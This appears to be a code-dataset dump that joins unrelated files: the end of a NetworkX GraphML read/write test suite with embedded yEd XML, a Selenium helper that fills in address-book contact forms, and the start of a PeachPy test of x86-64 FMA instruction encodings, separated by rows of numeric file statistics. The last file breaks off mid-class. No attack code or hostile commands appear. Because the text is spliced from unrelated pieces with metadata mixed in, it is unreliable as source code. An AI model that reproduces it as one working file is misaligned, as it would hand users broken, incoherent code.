<y:BorderInsets bottom="1" bottomF="1.0" left="0" leftF="0.0" right="0" rightF="0.0" top="1" topF="1.0001736111111086"/>
</y:GroupNode>
<y:GroupNode>
<y:Geometry height="50.0" width="50.0" x="0.0" y="60.0"/>
<y:Fill color="#F5F5F5" transparent="false"/>
<y:BorderStyle color="#000000" type="dashed" width="1.0"/>
<y:NodeLabel alignment="right" autoSizePolicy="node_width" backgroundColor="#EBEBEB" borderDistance="0.0" fontFamily="Dialog" fontSize="15" fontStyle="plain" hasLineColor="false" height="21.4609375" horizontalTextPosition="center" iconTextGap="4" modelName="internal" modelPosition="t" textColor="#000000" verticalTextPosition="bottom" visible="true" width="65.201171875" x="-7.6005859375" y="0.0">Folder 2</y:NodeLabel>
<y:Shape type="roundrectangle"/>
<y:State closed="true" closedHeight="50.0" closedWidth="50.0" innerGraphDisplayEnabled="false"/>
<y:Insets bottom="5" bottomF="5.0" left="5" leftF="5.0" right="5" rightF="5.0" top="5" topF="5.0"/>
<y:BorderInsets bottom="0" bottomF="0.0" left="0" leftF="0.0" right="0" rightF="0.0" top="0" topF="0.0"/>
</y:GroupNode>
</y:Realizers>
</y:ProxyAutoBoundsNode>
</data>
<graph edgedefault="directed" id="n1::n1:">
<node id="n1::n1::n0">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d6"/>
<data key="d7">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="0.0" y="-142.0"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" raised="false" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content" fontFamily="Dialog" fontSize="12" fontStyle="plain" hasBackgroundColor="false" hasLineColor="false" height="17.96875" horizontalTextPosition="center" iconTextGap="4" modelName="custom" textColor="#000000" verticalTextPosition="bottom" visible="true" width="11.634765625" x="9.1826171875" y="6.015625">5<y:LabelModel>
<y:SmartNodeLabelModel distance="4.0"/>
</y:LabelModel>
<y:ModelParameter>
<y:SmartNodeLabelModelParameter labelRatioX="0.0" labelRatioY="0.0" nodeRatioX="0.0" nodeRatioY="0.0" offsetX="0.0" offsetY="0.0" upX="0.0" upY="-1.0"/>
</y:ModelParameter>
</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
<node id="n1::n1::n1">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d6"/>
<data key="d7">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="50.0" y="-142.0"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" raised="false" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content" fontFamily="Dialog" fontSize="12" fontStyle="plain" hasBackgroundColor="false" hasLineColor="false" height="17.96875" horizontalTextPosition="center" iconTextGap="4" modelName="custom" textColor="#000000" verticalTextPosition="bottom" visible="true" width="11.634765625" x="9.1826171875" y="6.015625">6<y:LabelModel>
<y:SmartNodeLabelModel distance="4.0"/>
</y:LabelModel>
<y:ModelParameter>
<y:SmartNodeLabelModelParameter labelRatioX="0.0" labelRatioY="0.0" nodeRatioX="0.0" nodeRatioY="0.0" offsetX="0.0" offsetY="0.0" upX="0.0" upY="-1.0"/>
</y:ModelParameter>
</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
</graph>
</node>
</graph>
</node>
<node id="n2">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d6"/>
<data key="d7">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="125.0" y="-142.0"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" raised="false" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content" fontFamily="Dialog" fontSize="12" fontStyle="plain" hasBackgroundColor="false" hasLineColor="false" height="17.96875" horizontalTextPosition="center" iconTextGap="4" modelName="custom" textColor="#000000" verticalTextPosition="bottom" visible="true" width="11.634765625" x="9.1826171875" y="6.015625">9<y:LabelModel>
<y:SmartNodeLabelModel distance="4.0"/>
</y:LabelModel>
<y:ModelParameter>
<y:SmartNodeLabelModelParameter labelRatioX="0.0" labelRatioY="0.0" nodeRatioX="0.0" nodeRatioY="0.0" offsetX="0.0" offsetY="0.0" upX="0.0" upY="-1.0"/>
</y:ModelParameter>
</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
<edge id="n1::n1::e0" source="n1::n1::n0" target="n1::n1::n1">
<data key="d10"/>
<data key="d11">
<y:PolyLineEdge>
<y:Path sx="15.0" sy="-0.0" tx="-15.0" ty="-0.0"/>
<y:LineStyle color="#000000" type="line" width="1.0"/>
<y:Arrows source="none" target="standard"/>
<y:BendStyle smoothed="false"/>
</y:PolyLineEdge>
</data>
</edge>
<edge id="n1::n0::e0" source="n1::n0::n1" target="n1::n0::n0">
<data key="d10"/>
<data key="d11">
<y:PolyLineEdge>
<y:Path sx="15.0" sy="-0.0" tx="-15.0" ty="-0.0"/>
<y:LineStyle color="#000000" type="line" width="1.0"/>
<y:Arrows source="none" target="standard"/>
<y:BendStyle smoothed="false"/>
</y:PolyLineEdge>
</data>
</edge>
<edge id="e0" source="n1::n0::n0" target="n0">
<data key="d10"/>
<data key="d11">
<y:PolyLineEdge>
<y:Path sx="15.0" sy="-0.0" tx="-15.0" ty="-0.0"/>
<y:LineStyle color="#000000" type="line" width="1.0"/>
<y:Arrows source="none" target="standard"/>
<y:BendStyle smoothed="false"/>
</y:PolyLineEdge>
</data>
</edge>
<edge id="e1" source="n1::n1::n1" target="n2">
<data key="d10"/>
<data key="d11">
<y:PolyLineEdge>
<y:Path sx="15.0" sy="-0.0" tx="-15.0" ty="-0.0"/>
<y:LineStyle color="#000000" type="line" width="1.0"/>
<y:Arrows source="none" target="standard"/>
<y:BendStyle smoothed="false"/>
</y:PolyLineEdge>
</data>
</edge>
</graph>
<data key="d8">
<y:Resources/>
</data>
</graphml>
"""
# verify that nodes / attributes are correctly read when part of a group
fh = io.BytesIO(data.encode('UTF-8'))
G = nx.read_graphml(fh)
data = [x for _, x in G.nodes(data=True)]
assert len(data) == 9
for node_data in data:
assert node_data['CustomProperty'] != ''
class TestWriteGraphML(BaseGraphML):
writer = staticmethod(nx.write_graphml_lxml)
@classmethod
def setup_class(cls):
BaseGraphML.setup_class()
_ = pytest.importorskip("lxml.etree")
def test_write_interface(self):
try:
import lxml.etree
assert nx.write_graphml == nx.write_graphml_lxml
except ImportError:
assert nx.write_graphml == nx.write_graphml_xml
def test_write_read_simple_directed_graphml(self):
G = self.simple_directed_graph
G.graph['hi'] = 'there'
fh = io.BytesIO()
self.writer(G, fh)
fh.seek(0)
H = nx.read_graphml(fh)
assert sorted(G.nodes()) == sorted(H.nodes())
assert sorted(G.edges()) == sorted(H.edges())
assert sorted(G.edges(data=True)) == sorted(H.edges(data=True))
self.simple_directed_fh.seek(0)
def test_write_read_attribute_numeric_type_graphml(self):
from xml.etree.ElementTree import parse
G = self.attribute_numeric_type_graph
fh = io.BytesIO()
self.writer(G, fh, infer_numeric_types=True)
fh.seek(0)
H = nx.read_graphml(fh)
fh.seek(0)
assert_nodes_equal(G.nodes(), H.nodes())
assert_edges_equal(G.edges(), H.edges())
assert_edges_equal(G.edges(data=True), H.edges(data=True))
self.attribute_numeric_type_fh.seek(0)
xml = parse(fh)
# Children are the key elements, and the graph element
children = list(xml.getroot())
assert len(children) == 3
keys = [child.items() for child in children[:2]]
assert len(keys) == 2
assert ('attr.type', 'double') in keys[0]
assert ('attr.type', 'double') in keys[1]
def test_more_multigraph_keys(self):
"""Writing keys as edge id attributes means keys become strings.
The original keys are stored as data, so read them back in
if `str(key) == edge_id`
This allows the adjacency to remain the same.
"""
G = nx.MultiGraph()
G.add_edges_from([('a', 'b', 2), ('a', 'b', 3)])
fd, fname = tempfile.mkstemp()
self.writer(G, fname)
H = nx.read_graphml(fname)
assert H.is_multigraph()
assert_edges_equal(G.edges(keys=True), H.edges(keys=True))
assert G._adj == H._adj
os.close(fd)
os.unlink(fname)
def test_default_attribute(self):
G = nx.Graph(name="Fred")
G.add_node(1, label=1, color='green')
nx.add_path(G, [0, 1, 2, 3])
G.add_edge(1, 2, weight=3)
G.graph['node_default'] = {'color': 'yellow'}
G.graph['edge_default'] = {'weight': 7}
fh = io.BytesIO()
self.writer(G, fh)
fh.seek(0)
H = nx.read_graphml(fh, node_type=int)
assert_nodes_equal(G.nodes(), H.nodes())
assert_edges_equal(G.edges(), H.edges())
assert G.graph == H.graph
def test_mixed_type_attributes(self):
G = nx.MultiGraph()
G.add_node('n0', special=False)
G.add_node('n1', special=0)
G.add_edge('n0', 'n1', special=False)
G.add_edge('n0', 'n1', special=0)
fh = io.BytesIO()
self.writer(G, fh)
fh.seek(0)
H = nx.read_graphml(fh)
assert not H.nodes['n0']['special']
assert H.nodes['n1']['special'] == 0
assert not H.edges['n0', 'n1', 0]['special']
assert H.edges['n0', 'n1', 1]['special'] == 0
def test_multigraph_to_graph(self):
# test converting multigraph to graph if no parallel edges found
G = nx.MultiGraph()
G.add_edges_from([('a', 'b', 2), ('b', 'c', 3)]) # no multiedges
fd, fname = tempfile.mkstemp()
self.writer(G, fname)
H = nx.read_graphml(fname)
assert not H.is_multigraph()
os.close(fd)
os.unlink(fname)
def test_numpy_float(self):
np = pytest.importorskip('numpy')
wt = np.float(3.4)
G = nx.Graph([(1, 2, {'weight': wt})])
fd, fname = tempfile.mkstemp()
self.writer(G, fname)
H = nx.read_graphml(fname, node_type=int)
assert G._adj == H._adj
os.close(fd)
os.unlink(fname)
def test_numpy_float64(self):
np = pytest.importorskip('numpy')
wt = np.float64(3.4)
G = nx.Graph([(1, 2, {'weight': wt})])
fd, fname = tempfile.mkstemp()
self.writer(G, fname)
H = nx.read_graphml(fname, node_type=int)
assert G.edges == H.edges
wtG = G[1][2]['weight']
wtH = H[1][2]['weight']
assert almost_equal(wtG, wtH, places=6)
assert type(wtG) == np.float64
assert type(wtH) == float
os.close(fd)
os.unlink(fname)
def test_numpy_float32(self):
np = pytest.importorskip('numpy')
wt = np.float32(3.4)
G = nx.Graph([(1, 2, {'weight': wt})])
fd, fname = tempfile.mkstemp()
self.writer(G, fname)
H = nx.read_graphml(fname, node_type=int)
assert G.edges == H.edges
wtG = G[1][2]['weight']
wtH = H[1][2]['weight']
assert almost_equal(wtG, wtH, places=6)
assert type(wtG) == np.float32
assert type(wtH) == float
os.close(fd)
os.unlink(fname)
def test_unicode_attributes(self):
G = nx.Graph()
name1 = chr(2344) + chr(123) + chr(6543)
name2 = chr(5543) + chr(1543) + chr(324)
node_type = str
G.add_edge(name1, 'Radiohead', foo=name2)
fd, fname = tempfile.mkstemp()
self.writer(G, fname)
H = nx.read_graphml(fname, node_type=node_type)
assert G._adj == H._adj
os.close(fd)
os.unlink(fname)
def test_unicode_escape(self):
# test for handling json escaped stings in python 2 Issue #1880
import json
a = dict(a='{"a": "123"}') # an object with many chars to escape
sa = json.dumps(a)
G = nx.Graph()
G.graph['test'] = sa
fh = io.BytesIO()
self.writer(G, fh)
fh.seek(0)
H = nx.read_graphml(fh)
assert G.graph['test'] == H.graph['test']
class TestXMLGraphML(TestWriteGraphML):
writer = staticmethod(nx.write_graphml_xml)
@classmethod
def setup_class(cls):
TestWriteGraphML.setup_class()
pytest.importorskip("xml.etree.ElementTree")
| 44.93561
| 511
| 0.573786
| 5,933
| 46,059
| 4.397438
| 0.074499
| 0.007206
| 0.033499
| 0.037869
| 0.829935
| 0.787198
| 0.760598
| 0.738597
| 0.710387
| 0.701878
| 0
| 0.063951
| 0.240539
| 46,059
| 1,024
| 512
| 44.979492
| 0.681904
| 0.016587
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| 0.65902
| 0
| 0.09072
| 0.688437
| 0.102402
| 0
| 0
| 0
| 0
| 0.072993
| 1
| 0.029197
| false
| 0
| 0.016684
| 0
| 0.052138
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| null | 0
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| 0
| 0
|
0
| 7
|
071c9ce411db97ba66f7bfd7016e28e2df018f52
| 10,020
|
py
|
Python
|
fixture/contact.py
|
eugene1smith/homeworks
|
47edd36feddf4965b6a9c3d665406ebdf928af85
|
[
"Apache-2.0"
] | null | null | null |
fixture/contact.py
|
eugene1smith/homeworks
|
47edd36feddf4965b6a9c3d665406ebdf928af85
|
[
"Apache-2.0"
] | null | null | null |
fixture/contact.py
|
eugene1smith/homeworks
|
47edd36feddf4965b6a9c3d665406ebdf928af85
|
[
"Apache-2.0"
] | null | null | null |
__author__ = 'Eugene'
class ContactHelper:
def __init__(self, app):
self.contact = app
def init_contact_creation(self):
wd = self.contact.wd
wd.find_element_by_link_text("add new").click()
def submit_contact_creation(self):
wd = self.contact.wd
wd.find_element_by_xpath("//div[@id='content']/form/input[21]").click()
def create_contact(self, Contact):
wd = self.contact.wd
self.init_contact_creation()
# first name
wd.find_element_by_name("firstname").click()
wd.find_element_by_name("firstname").clear()
wd.find_element_by_name("firstname").send_keys(Contact.first_name)
# last name
wd.find_element_by_name("lastname").click()
wd.find_element_by_name("lastname").clear()
wd.find_element_by_name("lastname").send_keys(Contact.last_name)
# nickname
wd.find_element_by_name("nickname").click()
wd.find_element_by_name("nickname").clear()
wd.find_element_by_name("nickname").send_keys(Contact.nickname)
# title
wd.find_element_by_name("title").click()
wd.find_element_by_name("title").clear()
wd.find_element_by_name("title").send_keys(Contact.title)
# company name
wd.find_element_by_name("company").click()
wd.find_element_by_name("company").clear()
wd.find_element_by_name("company").send_keys(Contact.company_name)
# address
wd.find_element_by_name("address").click()
wd.find_element_by_name("address").clear()
wd.find_element_by_name("address").send_keys(Contact.address)
# home phone
wd.find_element_by_name("home").click()
wd.find_element_by_name("home").clear()
wd.find_element_by_name("home").send_keys(Contact.home)
# mobile phone
wd.find_element_by_name("mobile").click()
wd.find_element_by_name("mobile").clear()
wd.find_element_by_name("mobile").send_keys(Contact.mobile)
# work phone
wd.find_element_by_name("work").click()
wd.find_element_by_name("work").clear()
wd.find_element_by_name("work").send_keys(Contact.work)
# fax
wd.find_element_by_name("fax").click()
wd.find_element_by_name("fax").clear()
wd.find_element_by_name("fax").send_keys(Contact.fax)
# first mail
wd.find_element_by_name("email").click()
wd.find_element_by_name("email").clear()
wd.find_element_by_name("email").send_keys(Contact.first)
# second mail
wd.find_element_by_name("email2").click()
wd.find_element_by_name("email2").clear()
wd.find_element_by_name("email2").send_keys(Contact.second)
# third mail
wd.find_element_by_name("email3").click()
wd.find_element_by_name("email3").clear()
wd.find_element_by_name("email3").send_keys(Contact.third)
# homepage
wd.find_element_by_name("homepage").click()
wd.find_element_by_name("homepage").clear()
wd.find_element_by_name("homepage").send_keys(Contact.homepage)
# birthdate
if not wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[7]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[7]").click()
if not wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[2]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[2]").click()
wd.find_element_by_name("byear").click()
wd.find_element_by_name("byear").clear()
wd.find_element_by_name("byear").send_keys(Contact.birth_year)
# anniversary
if not wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[5]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[5]").click()
if not wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[6]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[6]").click()
wd.find_element_by_name("ayear").click()
wd.find_element_by_name("ayear").clear()
wd.find_element_by_name("ayear").send_keys(Contact.an_year)
# second address
wd.find_element_by_name("address2").click()
wd.find_element_by_name("address2").clear()
wd.find_element_by_name("address2").send_keys(Contact.second_address)
# home address
wd.find_element_by_name("phone2").click()
wd.find_element_by_name("phone2").clear()
wd.find_element_by_name("phone2").send_keys(Contact.home_address)
# notes
wd.find_element_by_name("notes").click()
wd.find_element_by_name("notes").clear()
wd.find_element_by_name("notes").send_keys(Contact.notes)
self.submit_contact_creation()
def delete_contact(self):
wd = self.contact.wd
wd.find_element_by_name("selected[]").click()
wd.find_element_by_xpath(".//*[@id='content']/form[2]/div[2]/input").click()
wd.switch_to_alert().accept()
def modify_contact(self, Contact):
wd = self.contact.wd
# init contact modification
wd.find_element_by_name("selected[]").click()
wd.find_element_by_xpath(".//*[@id='maintable']/tbody/tr[2]/td[8]/a/img").click()
# first name
wd.find_element_by_name("firstname").click()
wd.find_element_by_name("firstname").clear()
wd.find_element_by_name("firstname").send_keys(Contact.first_name)
# last name
wd.find_element_by_name("lastname").click()
wd.find_element_by_name("lastname").clear()
wd.find_element_by_name("lastname").send_keys(Contact.last_name)
# nickname
wd.find_element_by_name("nickname").click()
wd.find_element_by_name("nickname").clear()
wd.find_element_by_name("nickname").send_keys(Contact.nickname)
# title
wd.find_element_by_name("title").click()
wd.find_element_by_name("title").clear()
wd.find_element_by_name("title").send_keys(Contact.title)
# company name
wd.find_element_by_name("company").click()
wd.find_element_by_name("company").clear()
wd.find_element_by_name("company").send_keys(Contact.company_name)
# address
wd.find_element_by_name("address").click()
wd.find_element_by_name("address").clear()
wd.find_element_by_name("address").send_keys(Contact.address)
# home phone
wd.find_element_by_name("home").click()
wd.find_element_by_name("home").clear()
wd.find_element_by_name("home").send_keys(Contact.home)
# mobile phone
wd.find_element_by_name("mobile").click()
wd.find_element_by_name("mobile").clear()
wd.find_element_by_name("mobile").send_keys(Contact.mobile)
# work phone
wd.find_element_by_name("work").click()
wd.find_element_by_name("work").clear()
wd.find_element_by_name("work").send_keys(Contact.work)
# fax
wd.find_element_by_name("fax").click()
wd.find_element_by_name("fax").clear()
wd.find_element_by_name("fax").send_keys(Contact.fax)
# first mail
wd.find_element_by_name("email").click()
wd.find_element_by_name("email").clear()
wd.find_element_by_name("email").send_keys(Contact.first)
# second mail
wd.find_element_by_name("email2").click()
wd.find_element_by_name("email2").clear()
wd.find_element_by_name("email2").send_keys(Contact.second)
# third mail
wd.find_element_by_name("email3").click()
wd.find_element_by_name("email3").clear()
wd.find_element_by_name("email3").send_keys(Contact.third)
# homepage
wd.find_element_by_name("homepage").click()
wd.find_element_by_name("homepage").clear()
wd.find_element_by_name("homepage").send_keys(Contact.homepage)
# birthdate
if not wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[7]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[4]").click()
if not wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[3]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[6]").click()
wd.find_element_by_name("byear").click()
wd.find_element_by_name("byear").clear()
wd.find_element_by_name("byear").send_keys(Contact.birth_year)
# anniversary
if not wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[5]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[5]").click()
if not wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[6]").is_selected():
wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[6]").click()
wd.find_element_by_name("ayear").click()
wd.find_element_by_name("ayear").clear()
wd.find_element_by_name("ayear").send_keys(Contact.an_year)
# second address
wd.find_element_by_name("address2").click()
wd.find_element_by_name("address2").clear()
wd.find_element_by_name("address2").send_keys(Contact.second_address)
# home address
wd.find_element_by_name("phone2").click()
wd.find_element_by_name("phone2").clear()
wd.find_element_by_name("phone2").send_keys(Contact.home_address)
# notes
wd.find_element_by_name("notes").click()
wd.find_element_by_name("notes").clear()
wd.find_element_by_name("notes").send_keys(Contact.notes)
# submit contact modification
wd.find_element_by_name("update").click()
def count(self):
wd = self.contact.wd
return len(wd.find_elements_by_name("selected[]"))
| 47.264151
| 104
| 0.656188
| 1,393
| 10,020
| 4.363963
| 0.06748
| 0.136207
| 0.292976
| 0.338049
| 0.94555
| 0.942425
| 0.942425
| 0.922191
| 0.922027
| 0.915447
| 0
| 0.007622
| 0.188224
| 10,020
| 211
| 105
| 47.488152
| 0.739734
| 0.044212
| 0
| 0.840764
| 0
| 0
| 0.167349
| 0.089812
| 0
| 0
| 0
| 0
| 0
| 1
| 0.044586
| false
| 0
| 0
| 0
| 0.057325
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 9
|
074540a77cf6f10a3cd67820a62c839acbcb4b85
| 43,076
|
py
|
Python
|
test/x86_64/encoding/test_fma.py
|
lemire/PeachPy
|
650a4d866bd67d007371effdc7c096788f0acf20
|
[
"BSD-2-Clause"
] | 1
|
2016-01-13T20:41:42.000Z
|
2016-01-13T20:41:42.000Z
|
test/x86_64/encoding/test_fma.py
|
lemire/PeachPy
|
650a4d866bd67d007371effdc7c096788f0acf20
|
[
"BSD-2-Clause"
] | null | null | null |
test/x86_64/encoding/test_fma.py
|
lemire/PeachPy
|
650a4d866bd67d007371effdc7c096788f0acf20
|
[
"BSD-2-Clause"
] | 1
|
2019-04-20T12:55:12.000Z
|
2019-04-20T12:55:12.000Z
|
# This file is auto-generated by /codegen/x86_64_test_encoding.py
# Reference opcodes are generated by:
# GNU assembler (GNU Binutils) 2.25
from peachpy.x86_64 import *
import unittest
class TestVFMADD132SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x99, 0xCB]), VFMADD132SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x99, 0x4C, 0xCC, 0x9D]), VFMADD132SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFMADD213SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xA9, 0xCB]), VFMADD213SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xA9, 0x4C, 0xCC, 0x9D]), VFMADD213SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFMADD231SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xB9, 0xCB]), VFMADD231SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xB9, 0x4C, 0xCC, 0x9D]), VFMADD231SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFMADDSS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6A, 0xC9, 0x30]), VFMADDSS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6A, 0x4C, 0xCC, 0x9D, 0x30]), VFMADDSS(xmm1, xmm14, xmm3, dword[r12 + rcx*8 - 99]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x6A, 0x4C, 0xCC, 0x9D, 0x90]), VFMADDSS(xmm1, xmm14, dword[r12 + rcx*8 - 99], xmm9).encode())
class TestVFMSUB132SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x9B, 0xCB]), VFMSUB132SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x9B, 0x4C, 0xCC, 0x9D]), VFMSUB132SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFMSUB213SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xAB, 0xCB]), VFMSUB213SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xAB, 0x4C, 0xCC, 0x9D]), VFMSUB213SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFMSUB231SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xBB, 0xCB]), VFMSUB231SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xBB, 0x4C, 0xCC, 0x9D]), VFMSUB231SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFMSUBSS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6E, 0xC9, 0x30]), VFMSUBSS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6E, 0x4C, 0xCC, 0x9D, 0x30]), VFMSUBSS(xmm1, xmm14, xmm3, dword[r12 + rcx*8 - 99]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x6E, 0x4C, 0xCC, 0x9D, 0x90]), VFMSUBSS(xmm1, xmm14, dword[r12 + rcx*8 - 99], xmm9).encode())
class TestVFNMADD132SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x9D, 0xCB]), VFNMADD132SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x9D, 0x4C, 0xCC, 0x9D]), VFNMADD132SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFNMADD213SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xAD, 0xCB]), VFNMADD213SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xAD, 0x4C, 0xCC, 0x9D]), VFNMADD213SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFNMADD231SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xBD, 0xCB]), VFNMADD231SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xBD, 0x4C, 0xCC, 0x9D]), VFNMADD231SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFNMADDSS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7A, 0xC9, 0x30]), VFNMADDSS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7A, 0x4C, 0xCC, 0x9D, 0x30]), VFNMADDSS(xmm1, xmm14, xmm3, dword[r12 + rcx*8 - 99]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x7A, 0x4C, 0xCC, 0x9D, 0x90]), VFNMADDSS(xmm1, xmm14, dword[r12 + rcx*8 - 99], xmm9).encode())
class TestVFNMSUB132SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x9F, 0xCB]), VFNMSUB132SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x9F, 0x4C, 0xCC, 0x9D]), VFNMSUB132SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFNMSUB213SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xAF, 0xCB]), VFNMSUB213SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xAF, 0x4C, 0xCC, 0x9D]), VFNMSUB213SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFNMSUB231SS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xBF, 0xCB]), VFNMSUB231SS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xBF, 0x4C, 0xCC, 0x9D]), VFNMSUB231SS(xmm1, xmm14, dword[r12 + rcx*8 - 99]).encode())
class TestVFNMSUBSS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7E, 0xC9, 0x30]), VFNMSUBSS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7E, 0x4C, 0xCC, 0x9D, 0x30]), VFNMSUBSS(xmm1, xmm14, xmm3, dword[r12 + rcx*8 - 99]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x7E, 0x4C, 0xCC, 0x9D, 0x90]), VFNMSUBSS(xmm1, xmm14, dword[r12 + rcx*8 - 99], xmm9).encode())
class TestVFMADD132SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x99, 0xCB]), VFMADD132SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x99, 0x4C, 0xD3, 0xA8]), VFMADD132SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFMADD213SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xA9, 0xCB]), VFMADD213SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xA9, 0x4C, 0xD3, 0xA8]), VFMADD213SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFMADD231SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xB9, 0xCB]), VFMADD231SD(xmm1, xmm14, xmm3).encode())
